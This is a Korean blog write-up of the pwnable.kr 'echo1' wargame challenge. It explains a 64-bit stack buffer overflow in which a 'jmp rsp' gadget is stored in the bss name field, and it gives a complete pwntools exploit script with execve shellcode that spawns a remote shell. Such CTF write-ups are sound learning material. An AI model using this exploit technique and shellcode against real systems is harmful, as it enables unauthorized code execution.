본문 바로가기

Pwnable.kr

Pwnable.kr[echo1]

http://pwnable.kr/bin/echo1 에서 다운로드 받아서 해당 실행파일을 분석해야 한당.

 

ELF 64bit 파일이고, ASLR을 제외한 보호기법은 적용되어 있지 않다. 

 

IDA pro를 이용해서 확인해보면

 

메뉴가 4가지이고 2, 3번 메뉴는 구현되어 있지 않고

4번 메뉴의 경우 종료 메뉴인데, 종료를 완료하지 않아도 항상 free를 하므로 

double free가 되면서 crash는 일어나지만 해당 내용을 활용하는 방법은 모르겠다.

 

단순히 1번 메뉴에서 fgets함수를 이용해서 0x20만큼 할당된 buffer에 0x80까지 입력을 받으므로

여기 overflow를 이용한다. 

 

return 주소를 바꿀 수는 있지만, 쉘코드를 입력하고 해당 쉘코드로 어떻게 뛸지는 별개의 문제..

 

0x20만큼의 더미 + SFP(8)덮을 더미 + ret(8) 덮을 값인데 

64bit인 만큼 한 칸당 8byte인 거 신경써야 함...

 

처음 실행시 이름을 물어보는데, 해당 이름 값을 bss 영역에 저장한다. (4byte)

스택 주소는 바뀌니, 해당 bss 영역의 주소를 이용해서 이름에다가 jmp rsp 코드를 주고

해당 코드가 rip로 실행되면 (1번 메뉴의 ret에서 실행되면)

내가 입력한 스트링으로 점프가 가능하다. 

 

그럼 거기에다가 쉘 코드 넣으면 됨

 

leave에서 SFP가 rsp가 되고 ret에서 pop rip를 또 하므로 

0x20 => SFP => ret => [여기]

가 현재 rsp가 됨

 

그래서 jmp rsp를 하면 해당 위치의 instruction이 실행 됨

 

exploit 코드는 다음과 같다.

from pwn import *

context(arch='amd64')

r = remote('pwnable.kr', 9010)
r.recv(2048)
r.sendline(asm('jmp rsp'))
r.recvuntil("> ")
r.sendline('1')
r.recvuntil('\n')
r.sendline("A"*40 + p64(0x6020a0) + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
r.interactive()

pwn package를 이용해서 asm 코드의 바이트 값을 몰라도 아주 편하게 전달이 가능하다. 

 

0x6020a0은 bss에 있는 id의 주소로 jmp rsp가 저장되는 곳이다. 

 

지적 환영, 배우는 중

 

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr[fix]  (0) 2019.09.15
Pwnable.kr[tiny_easy]  (0) 2019.09.15
Pwnable.kr[ascii_easy]  (0) 2019.09.14
Pwnable.kr [fsb]  (0) 2019.05.21
Pwnable.kr [horcruxes]  (0) 2019.05.17